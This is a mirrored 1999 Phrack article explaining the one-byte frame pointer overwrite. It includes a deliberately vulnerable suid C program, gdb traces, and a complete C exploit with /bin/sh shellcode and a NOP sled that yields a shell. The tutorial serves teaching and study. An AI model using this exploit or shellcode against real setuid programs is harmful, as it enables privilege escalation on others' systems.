mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
509 lines
18 KiB
Text
509 lines
18 KiB
Text
![]() |
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19 ]
|
||
|
|
||
|
|
||
|
-------------------------[ The Frame Pointer Overwrite ]
|
||
|
|
||
|
|
||
|
--------[ klog <klog@promisc.org> ]
|
||
|
|
||
|
|
||
|
----[ Introduction
|
||
|
|
||
|
Buffers can be overflowed, and by overwriting critical data stored in the
|
||
|
target process's address space, we can modify its execution flow. This is
|
||
|
old news. This article is not much about how to exploit buffer overflows,
|
||
|
nor does it explain the vulnerability itself. It just demonstrates it is
|
||
|
possible to exploit such a vulnerability even under the worst conditions,
|
||
|
like when the target buffer can only be overflowed by one byte. Many other
|
||
|
esoteric techniques where the goal is to exploit trusted processes in
|
||
|
the most hostile situations exist, including when privileges are dropped.
|
||
|
We will only cover the one byte overflow here.
|
||
|
|
||
|
|
||
|
----[ The object of our attack
|
||
|
|
||
|
Lets write a pseudo vulnerable suid program, which we will call "suid". It
|
||
|
is written such that only one byte overflows from its buffer.
|
||
|
|
||
|
ipdev:~/tests$ cat > suid.c
|
||
|
#include <stdio.h>
|
||
|
|
||
|
func(char *sm)
|
||
|
{
|
||
|
char buffer[256];
|
||
|
int i;
|
||
|
for(i=0;i<=256;i++)
|
||
|
buffer[i]=sm[i];
|
||
|
}
|
||
|
|
||
|
main(int argc, char *argv[])
|
||
|
{
|
||
|
if (argc < 2) {
|
||
|
printf("missing args\n");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
func(argv[1]);
|
||
|
}
|
||
|
^D
|
||
|
ipdev:~/tests$ gcc suid.c -o suid
|
||
|
ipdev:~/tests$
|
||
|
|
||
|
As you can see, we won't have much space to exploit this program. In fact, the
|
||
|
overflow is caused only by one byte exceeding the buffer's storage space. We
|
||
|
will have to use this byte cleverly. Before exploiting anything, we should
|
||
|
take a look at what this byte really overwrites (you probably already know it,
|
||
|
but hell, who cares). Let's reassemble the stack using gdb, at the moment the
|
||
|
overflow occurs.
|
||
|
|
||
|
ipdev:~/tests$ gdb ./suid
|
||
|
...
|
||
|
(gdb) disassemble func
|
||
|
Dump of assembler code for function func:
|
||
|
0x8048134 <func>: pushl %ebp
|
||
|
0x8048135 <func+1>: movl %esp,%ebp
|
||
|
0x8048137 <func+3>: subl $0x104,%esp
|
||
|
0x804813d <func+9>: nop
|
||
|
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
|
||
|
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
|
||
|
0x8048152 <func+30>: jle 0x8048158 <func+36>
|
||
|
0x8048154 <func+32>: jmp 0x804817c <func+72>
|
||
|
0x8048156 <func+34>: leal (%esi),%esi
|
||
|
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
|
||
|
0x804815e <func+42>: movl %edx,%eax
|
||
|
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
|
||
|
0x8048166 <func+50>: movl 0x8(%ebp),%edx
|
||
|
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
|
||
|
0x804816f <func+59>: movb (%edx),%cl
|
||
|
0x8048171 <func+61>: movb %cl,(%eax)
|
||
|
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
|
||
|
0x8048179 <func+69>: jmp 0x8048148 <func+20>
|
||
|
0x804817b <func+71>: nop
|
||
|
0x804817c <func+72>: movl %ebp,%esp
|
||
|
0x804817e <func+74>: popl %ebp
|
||
|
0x804817f <func+75>: ret
|
||
|
End of assembler dump.
|
||
|
(gdb)
|
||
|
|
||
|
As we all know, the processor will first push %eip into the stack, as the
|
||
|
CALL instruction requires. Next, our small program pushes %ebp over it, as
|
||
|
seen at *0x8048134. Finally, it activates a local frame by decrementing %esp
|
||
|
by 0x104. This means our local variables will be 0x104 bytes big (0x100 for
|
||
|
the string, 0x004 for the integer). Please note that the variables are
|
||
|
physically padded to the first 4 bytes, so a 255 byte buffer would take up as
|
||
|
much space as a 256 byte buffer. We can now tell what our stack looked like
|
||
|
before the overflow occurred:
|
||
|
|
||
|
saved_eip
|
||
|
saved_ebp
|
||
|
char buffer[255]
|
||
|
char buffer[254]
|
||
|
...
|
||
|
char buffer[000]
|
||
|
int i
|
||
|
|
||
|
This means that the overflowing byte will overwrite the saved frame pointer,
|
||
|
which was pushed into the stack at the beginning of func(). But how can this
|
||
|
byte be used to modify the programs execution flow? Let's take a look at what
|
||
|
happens with %ebp's image. We already know that it is restored at the end of
|
||
|
func(), as we can see at *0x804817e. But what next?
|
||
|
|
||
|
(gdb) disassemble main
|
||
|
Dump of assembler code for function main:
|
||
|
0x8048180 <main>: pushl %ebp
|
||
|
0x8048181 <main+1>: movl %esp,%ebp
|
||
|
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
|
||
|
0x8048187 <main+7>: jg 0x80481a0 <main+32>
|
||
|
0x8048189 <main+9>: pushl $0x8058ad8
|
||
|
0x804818e <main+14>: call 0x80481b8 <printf>
|
||
|
0x8048193 <main+19>: addl $0x4,%esp
|
||
|
0x8048196 <main+22>: pushl $0xffffffff
|
||
|
0x8048198 <main+24>: call 0x804d598 <exit>
|
||
|
0x804819d <main+29>: addl $0x4,%esp
|
||
|
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
|
||
|
0x80481a3 <main+35>: addl $0x4,%eax
|
||
|
0x80481a6 <main+38>: movl (%eax),%edx
|
||
|
0x80481a8 <main+40>: pushl %edx
|
||
|
0x80481a9 <main+41>: call 0x8048134 <func>
|
||
|
0x80481ae <main+46>: addl $0x4,%esp
|
||
|
0x80481b1 <main+49>: movl %ebp,%esp
|
||
|
0x80481b3 <main+51>: popl %ebp
|
||
|
0x80481b4 <main+52>: ret
|
||
|
0x80481b5 <main+53>: nop
|
||
|
0x80481b6 <main+54>: nop
|
||
|
0x80481b7 <main+55>: nop
|
||
|
End of assembler dump.
|
||
|
(gdb)
|
||
|
|
||
|
Great! After func() has been called, at the end of main(), %ebp will be
|
||
|
restored into %esp, as seen at *0x80481b1. This means that we can set %esp to
|
||
|
an arbitrary value. But remember, this arbitrary value is not *really*
|
||
|
arbitrary, since you can only modify the last %esp's byte. Let's check to see
|
||
|
if we're right.
|
||
|
|
||
|
(gdb) disassemble main
|
||
|
Dump of assembler code for function main:
|
||
|
0x8048180 <main>: pushl %ebp
|
||
|
0x8048181 <main+1>: movl %esp,%ebp
|
||
|
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
|
||
|
0x8048187 <main+7>: jg 0x80481a0 <main+32>
|
||
|
0x8048189 <main+9>: pushl $0x8058ad8
|
||
|
0x804818e <main+14>: call 0x80481b8 <printf>
|
||
|
0x8048193 <main+19>: addl $0x4,%esp
|
||
|
0x8048196 <main+22>: pushl $0xffffffff
|
||
|
0x8048198 <main+24>: call 0x804d598 <exit>
|
||
|
0x804819d <main+29>: addl $0x4,%esp
|
||
|
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
|
||
|
0x80481a3 <main+35>: addl $0x4,%eax
|
||
|
0x80481a6 <main+38>: movl (%eax),%edx
|
||
|
0x80481a8 <main+40>: pushl %edx
|
||
|
0x80481a9 <main+41>: call 0x8048134 <func>
|
||
|
0x80481ae <main+46>: addl $0x4,%esp
|
||
|
0x80481b1 <main+49>: movl %ebp,%esp
|
||
|
0x80481b3 <main+51>: popl %ebp
|
||
|
0x80481b4 <main+52>: ret
|
||
|
0x80481b5 <main+53>: nop
|
||
|
0x80481b6 <main+54>: nop
|
||
|
0x80481b7 <main+55>: nop
|
||
|
End of assembler dump.
|
||
|
(gdb) break *0x80481b4
|
||
|
Breakpoint 2 at 0x80481b4
|
||
|
(gdb) run `overflow 257`
|
||
|
Starting program: /home/klog/tests/suid `overflow 257`
|
||
|
|
||
|
Breakpoint 2, 0x80481b4 in main ()
|
||
|
(gdb) info register esp
|
||
|
esp 0xbffffd45 0xbffffd45
|
||
|
(gdb)
|
||
|
|
||
|
It seems we were. After overflowing the buffer by one 'A' (0x41), %ebp is
|
||
|
moved into %esp, which is incremented by 4 since %ebp is poped from the
|
||
|
stack just before the RET. This gives us 0xbffffd41 + 0x4 = 0xbffffd45.
|
||
|
|
||
|
|
||
|
----[ Getting prepared
|
||
|
|
||
|
What does changing the stack pointer give us? We cannot change the saved %eip
|
||
|
value directly like in any conventional buffer overflow exploitation, but we
|
||
|
can make the processor think it is elsewhere. When the processor returns
|
||
|
from a procedure, it only pops the first word on the stack, guessing it is
|
||
|
the original %eip. But if we alter %esp, we can make the processor pop any
|
||
|
value from the stack as if it was %eip, and thus changing the execution flow.
|
||
|
Lets project to overflow the buffer using the following string:
|
||
|
|
||
|
[nops][shellcode][&shellcode][%ebp_altering_byte]
|
||
|
|
||
|
In order to do this, we should first determine what value we want to alter
|
||
|
%ebp (and thus %esp) with. Let's take a look at what the stack will look like
|
||
|
when the buffer overflow will have occurred:
|
||
|
|
||
|
saved_eip
|
||
|
saved_ebp (altered by 1 byte)
|
||
|
&shellcode \
|
||
|
shellcode | char buffer
|
||
|
nops /
|
||
|
int i
|
||
|
|
||
|
Here, we want %esp to point to &shellcode, so that the shellcode's address
|
||
|
will be poped into %eip when the processor will return from main(). Now that
|
||
|
we have the full knowledge of how we want to exploit our vulnerable program,
|
||
|
we need to extract information from the process while running in the context
|
||
|
it will be while being exploited. This information consists of the address of
|
||
|
the overflowed buffer, and the address of the pointer to our shellcode
|
||
|
(&shellcode). Let's run the program as if we wanted to overflow it with a 257
|
||
|
bytes string. In order to do this, we must write a fake exploit which will
|
||
|
reproduce the context in which we exploit the vulnerable process.
|
||
|
|
||
|
(gdb) q
|
||
|
ipdev:~/tests$ cat > fake_exp.c
|
||
|
#include <stdio.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
main()
|
||
|
{
|
||
|
int i;
|
||
|
char buffer[1024];
|
||
|
|
||
|
bzero(&buffer, 1024);
|
||
|
for (i=0;i<=256;i++)
|
||
|
{
|
||
|
buffer[i] = 'A';
|
||
|
}
|
||
|
execl("./suid", "suid", buffer, NULL);
|
||
|
}
|
||
|
^D
|
||
|
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
|
||
|
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
|
||
|
...
|
||
|
(gdb) run
|
||
|
Starting program: /home/klog/tests/exp2
|
||
|
|
||
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
||
|
0x8048090 in ___crt_dummy__ ()
|
||
|
(gdb) disassemble func
|
||
|
Dump of assembler code for function func:
|
||
|
0x8048134 <func>: pushl %ebp
|
||
|
0x8048135 <func+1>: movl %esp,%ebp
|
||
|
0x8048137 <func+3>: subl $0x104,%esp
|
||
|
0x804813d <func+9>: nop
|
||
|
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
|
||
|
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
|
||
|
0x8048152 <func+30>: jle 0x8048158 <func+36>
|
||
|
0x8048154 <func+32>: jmp 0x804817c <func+72>
|
||
|
0x8048156 <func+34>: leal (%esi),%esi
|
||
|
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
|
||
|
0x804815e <func+42>: movl %edx,%eax
|
||
|
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
|
||
|
0x8048166 <func+50>: movl 0x8(%ebp),%edx
|
||
|
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
|
||
|
0x804816f <func+59>: movb (%edx),%cl
|
||
|
0x8048171 <func+61>: movb %cl,(%eax)
|
||
|
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
|
||
|
0x8048179 <func+69>: jmp 0x8048148 <func+20>
|
||
|
0x804817b <func+71>: nop
|
||
|
0x804817c <func+72>: movl %ebp,%esp
|
||
|
0x804817e <func+74>: popl %ebp
|
||
|
0x804817f <func+75>: ret
|
||
|
End of assembler dump.
|
||
|
(gdb) break *0x804813d
|
||
|
Breakpoint 1 at 0x804813d
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 1, 0x804813d in func ()
|
||
|
(gdb) info register esp
|
||
|
esp 0xbffffc60 0xbffffc60
|
||
|
(gdb)
|
||
|
|
||
|
Bingo. We now have %esp just after the func's frame have been activated.
|
||
|
From this value, we can now guess that our buffer will be located at address
|
||
|
0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, and that the pointer to our
|
||
|
shellcode will be placed at address 0xbffffc64 + 0x100 (size of 'char
|
||
|
buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60.
|
||
|
|
||
|
|
||
|
----[ Time to attack
|
||
|
|
||
|
Having those values will enable us to write a full version of the exploit,
|
||
|
including the shellcode, the shellcode pointer and the overwriting byte. The
|
||
|
value we need to overwrite the saved %ebp's last byte will be 0x60 - 0x04
|
||
|
= 0x5c since, as you remember, we pop %ebp juste before returning from main().
|
||
|
These 4 bytes will compensate for %ebp being removed from the stack. As for
|
||
|
the pointer to our shellcode, we don't really need to have it point to an exact
|
||
|
address. All we need is to make the processor return in the middle of the
|
||
|
nops between the beginning of the overflowed buffer (0xbffffc64) and our
|
||
|
shellcode (0xbffffc64 - sizeof(shellcode)), like in a usual buffer overflow.
|
||
|
Let's use 0xbffffc74.
|
||
|
|
||
|
ipdev:~/tests$ cat > exp.c
|
||
|
#include <stdio.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
char sc_linux[] =
|
||
|
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
|
||
|
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
|
||
|
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
|
||
|
"\xd7\xff\xff\xff/bin/sh";
|
||
|
|
||
|
main()
|
||
|
{
|
||
|
int i, j;
|
||
|
char buffer[1024];
|
||
|
|
||
|
bzero(&buffer, 1024);
|
||
|
for (i=0;i<=(252-sizeof(sc_linux));i++)
|
||
|
{
|
||
|
buffer[i] = 0x90;
|
||
|
}
|
||
|
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
|
||
|
{
|
||
|
buffer[i] = sc_linux[j];
|
||
|
}
|
||
|
buffer[i++] = 0x74; /*
|
||
|
buffer[i++] = 0xfc; * Address of our buffer
|
||
|
buffer[i++] = 0xff; *
|
||
|
buffer[i++] = 0xbf; */
|
||
|
buffer[i++] = 0x5c;
|
||
|
|
||
|
execl("./suid", "suid", buffer, NULL);
|
||
|
|
||
|
}
|
||
|
^D
|
||
|
ipdev:~/tests$ gcc exp.c -o exp
|
||
|
ipdev:~/tests$ ./exp
|
||
|
bash$
|
||
|
|
||
|
Great! Let's take a better look at what really happened. Although we built
|
||
|
our exploit around the theory I just put in this paper, it would be nice
|
||
|
to watch everything get tied together. You can stop reading right now if
|
||
|
you understood everything explained previously, and start looking for
|
||
|
vulnerabilities.
|
||
|
|
||
|
ipdev:~/tests$ gdb --exec=exp --symbols=suid
|
||
|
...
|
||
|
(gdb) run
|
||
|
Starting program: /home/klog/tests/exp
|
||
|
|
||
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
||
|
0x8048090 in ___crt_dummy__ ()
|
||
|
(gdb)
|
||
|
|
||
|
Let's first put some breakpoints to watch our careful exploitation of our
|
||
|
suid program occur in front of our eyes. We should try to follow the value of
|
||
|
our overwritten frame pointer until our shellcode starts getting executed.
|
||
|
|
||
|
(gdb) disassemble func
|
||
|
Dump of assembler code for function func:
|
||
|
0x8048134 <func>: pushl %ebp
|
||
|
0x8048135 <func+1>: movl %esp,%ebp
|
||
|
0x8048137 <func+3>: subl $0x104,%esp
|
||
|
0x804813d <func+9>: nop
|
||
|
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
|
||
|
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
|
||
|
0x8048152 <func+30>: jle 0x8048158 <func+36>
|
||
|
0x8048154 <func+32>: jmp 0x804817c <func+72>
|
||
|
0x8048156 <func+34>: leal (%esi),%esi
|
||
|
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
|
||
|
0x804815e <func+42>: movl %edx,%eax
|
||
|
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
|
||
|
0x8048166 <func+50>: movl 0x8(%ebp),%edx
|
||
|
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
|
||
|
0x804816f <func+59>: movb (%edx),%cl
|
||
|
0x8048171 <func+61>: movb %cl,(%eax)
|
||
|
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
|
||
|
0x8048179 <func+69>: jmp 0x8048148 <func+20>
|
||
|
0x804817b <func+71>: nop
|
||
|
0x804817c <func+72>: movl %ebp,%esp
|
||
|
0x804817e <func+74>: popl %ebp
|
||
|
0x804817f <func+75>: ret
|
||
|
End of assembler dump.
|
||
|
(gdb) break *0x804817e
|
||
|
Breakpoint 1 at 0x804817e
|
||
|
(gdb) break *0x804817f
|
||
|
Breakpoint 2 at 0x804817f
|
||
|
(gdb)
|
||
|
|
||
|
Those first breakpoints will enable us to monitor the content of %ebp before
|
||
|
and after being poped from the stack. These values will correspond to the
|
||
|
original and overwritten values.
|
||
|
|
||
|
(gdb) disassemble main
|
||
|
Dump of assembler code for function main:
|
||
|
0x8048180 <main>: pushl %ebp
|
||
|
0x8048181 <main+1>: movl %esp,%ebp
|
||
|
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
|
||
|
0x8048187 <main+7>: jg 0x80481a0 <main+32>
|
||
|
0x8048189 <main+9>: pushl $0x8058ad8
|
||
|
0x804818e <main+14>: call 0x80481b8 <_IO_printf>
|
||
|
0x8048193 <main+19>: addl $0x4,%esp
|
||
|
0x8048196 <main+22>: pushl $0xffffffff
|
||
|
0x8048198 <main+24>: call 0x804d598 <exit>
|
||
|
0x804819d <main+29>: addl $0x4,%esp
|
||
|
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
|
||
|
0x80481a3 <main+35>: addl $0x4,%eax
|
||
|
0x80481a6 <main+38>: movl (%eax),%edx
|
||
|
0x80481a8 <main+40>: pushl %edx
|
||
|
0x80481a9 <main+41>: call 0x8048134 <func>
|
||
|
0x80481ae <main+46>: addl $0x4,%esp
|
||
|
0x80481b1 <main+49>: movl %ebp,%esp
|
||
|
0x80481b3 <main+51>: popl %ebp
|
||
|
0x80481b4 <main+52>: ret
|
||
|
0x80481b5 <main+53>: nop
|
||
|
0x80481b6 <main+54>: nop
|
||
|
0x80481b7 <main+55>: nop
|
||
|
End of assembler dump.
|
||
|
(gdb) break *0x80481b3
|
||
|
Breakpoint 3 at 0x80481b3
|
||
|
(gdb) break *0x80481b4
|
||
|
Breakpoint 4 at 0x80481b4
|
||
|
(gdb)
|
||
|
|
||
|
Here we want to monitor the transfer of our overwritten %ebp to %esp and
|
||
|
the content of %esp until a return from main() occurs. Let's run the program.
|
||
|
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 1, 0x804817e in func ()
|
||
|
(gdb) info reg ebp
|
||
|
ebp 0xbffffd64 0xbffffd64
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 2, 0x804817f in func ()
|
||
|
(gdb) info reg ebp
|
||
|
ebp 0xbffffd5c 0xbffffd5c
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 3, 0x80481b3 in main ()
|
||
|
(gdb) info reg esp
|
||
|
esp 0xbffffd5c 0xbffffd5c
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 4, 0x80481b4 in main ()
|
||
|
(gdb) info reg esp
|
||
|
esp 0xbffffd60 0xbffffd60
|
||
|
(gdb)
|
||
|
|
||
|
At first, we see the original value of %ebp. After being poped from the
|
||
|
stack, we can see it being replaced by the one which has been overwritten
|
||
|
by the last byte of our overflowing string, 0x5c. After that, %ebp is
|
||
|
moved to %esp, and finally, after %ebp is being poped from the stack again,
|
||
|
%esp is incremented by 4 bytes. It gives us the final value of 0xbffffd60.
|
||
|
Let's take a look at what stands there.
|
||
|
|
||
|
(gdb) x 0xbffffd60
|
||
|
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
|
||
|
(gdb) x/10 0xbffffc74
|
||
|
0xbffffc74 <__collate_table+3086618856>: 0x90909090
|
||
|
0x90909090 0x90909090 0x90909090
|
||
|
0xbffffc84 <__collate_table+3086618872>: 0x90909090
|
||
|
0x90909090 0x90909090 0x90909090
|
||
|
0xbffffc94 <__collate_table+3086618888>: 0x90909090
|
||
|
0x90909090
|
||
|
(gdb)
|
||
|
|
||
|
We can see that 0xbffffd60 is the actual address of a pointer pointing in the
|
||
|
middle of the nops just before of our shellcode. When the processor will
|
||
|
return from main(), it will pop this pointer into %eip, and jump at the exact
|
||
|
address of 0xbffffc74. This is when our shellcode will be executed.
|
||
|
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
||
|
0x40000990 in ?? ()
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
bash$
|
||
|
|
||
|
|
||
|
----[ Conclusions
|
||
|
|
||
|
Although the technique seems nice, some problems remain unresolved.
|
||
|
Altering a program's execution flow with only one byte of overwriting data
|
||
|
is, for sure, possible, but under what conditions? As a matter of fact,
|
||
|
reproducing the exploitation context can be a hard task in a hostile
|
||
|
environment, or worst, on a remote host. It would require us to guess the
|
||
|
exact stack size of our target process. To this problem we add the necessity
|
||
|
of our overflowed buffer to be right next to the saved frame pointer, which
|
||
|
means it must be the first variable to be declared in its function. Needless
|
||
|
to say, padding must also be taken in consideration. And what about attacking
|
||
|
big endian architectures? We cannot afford to be only able to overwrite the
|
||
|
most significant byte of the frame pointer, unless we have the ability to
|
||
|
reach this altered address...
|
||
|
|
||
|
Conclusions could be drawn from this nearly impossible to exploit situation.
|
||
|
Although I would be surprised to hear of anyone having applied this technique
|
||
|
to a real world vulnerability, it for sure proves us that there is no such
|
||
|
thing as a big or small overflow, nor is there such thing as a big or small
|
||
|
vulnerability. Any flaw is exploitable, all you need is to find out how.
|
||
|
|
||
|
Thanks to: binf, rfp, halflife, route
|
||
|
|
||
|
|
||
|
----[ EOF
|
||
|
|